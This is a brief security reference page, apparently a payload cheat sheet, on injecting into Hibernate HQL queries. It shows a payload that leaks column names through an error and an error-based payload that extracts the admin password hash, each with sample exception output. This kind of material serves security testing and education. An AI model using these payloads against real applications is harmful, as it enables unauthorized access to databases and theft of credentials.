Hibernate Query Language Injection

Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia

HQL Comments

  1. HQL does not support comments

HQL List Columns

  1. from BlogPosts
  2. where title like '%'
  3. and DOESNT_EXIST=1 and ''='%' --
  4. and published = true

Using an unexisting column will an exception leaking several columns names.

  1. org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
  2. select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]

HQL Error Based

  1. from BlogPosts
  2. where title like '%11'
  3. and (select password from User where username='admin')=1
  4. or ''='%'
  5. and published = true

Error based on value casting.

  1. Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
  2. select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1

HQL Injection - 图1 HQL does not support UNION queries

References